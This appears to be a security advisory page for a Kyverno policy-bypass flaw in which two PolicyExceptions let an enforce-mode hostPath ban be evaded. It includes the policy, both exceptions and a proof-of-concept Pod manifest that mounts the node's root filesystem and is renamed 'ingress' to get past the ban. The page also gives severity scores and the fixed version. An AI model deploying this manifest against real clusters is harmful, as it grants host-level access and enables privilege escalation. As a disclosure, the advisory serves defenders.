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GHSA-gg4x-fgg2-h9w9 BIT-kyverno-2026-84200 CVE-2026-84200 GO-2026-4285

Bypassing Kyverno Policies via Double Policy Exceptions

Critical Go
Severity
9.4 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 19.74% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-284 Improper Access Control
Fix
1.13.0
Upgrade github.com/kyverno/kyverno to this version or later

Description

Summary

If a cluster has a Kyverno policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second.

Details

The following policy was applied:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-host-path
  annotations:
    policies.kyverno.io/title: Disallow hostPath
    policies.kyverno.io/category: Pod Security Standards (Baseline)
    policies.kyverno.io/severity: medium
    policies.kyverno.io/subject: Pod,Volume
    kyverno.io/kyverno-version: 1.6.0
    kyverno.io/kubernetes-version: "1.22-1.23"
    policies.kyverno.io/description: >-
      HostPath volumes let Pods use host directories and volumes in containers.
      Using host resources can be used to access shared data or escalate privileges
      and should not be allowed. This policy ensures no hostPath volumes are in use.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
    - name: host-path
      match:
        any:
        - resources:
            kinds:
              - Pod
      validate:
        message: >-
          HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset.
        pattern:
          spec:
            =(volumes):
              - X(hostPath): "null"

And two exceptions:

apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        namespaces:
        - luntry
        - tstkyverno
        - examplens
apiVersion: kyverno.io/v2beta1
kind: PolicyException
metadata:
  name: disallow-host-path-exception-names
  namespace: kyverno
spec:
  exceptions:
  - policyName: disallow-host-path
    ruleNames:
    - host-path
  match:
    any:
    - resources:
        kinds:
        - DaemonSet
        - Deployment
        - Job
        - StatefulSet
        - ReplicaSet
        - ReplicationController
        - Pod
        - CronJob
        names:
        - '*haproxy*'
        - '*ingress*'

Trying to apply such a yaml will result in the expected ban:

apiVersion: v1
kind: Pod
metadata:
  name: mtkpi
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

<img width="855" height="483" alt="Снимок экрана 2025-09-04 в 13 35 46" src="https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2" />

However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed:

apiVersion: v1
kind: Pod
metadata:
  name: ingress
  labels:
    app: pentest
spec:
  containers:
  - name: mtkpi
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]  
  volumes:
  - name: noderoot
    hostPath:
      path: /

<img width="449" height="386" alt="Снимок экрана 2025-09-04 в 13 37 09" src="https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22" />

It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions.

Impact

The security restrictions can be bypassed.

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
>= 1.9.0, < 1.13.0
1.13.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/kyverno/kyverno Go → 1.13.0

go
go get github.com/kyverno/kyverno@v1.13.0 && go mod tidy

Severity breakdown

CVSS 4.0 9.4

CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Adjacent
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High
Exploit maturity
Not defined
Scope
X

CVSS 3.1 9.0

CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Adjacent
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-284: Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-79gf-7frw-68m9
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
Critical Also affects github.com/kyverno/kyverno
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-cvq5-hhx3-f99p
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
High Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
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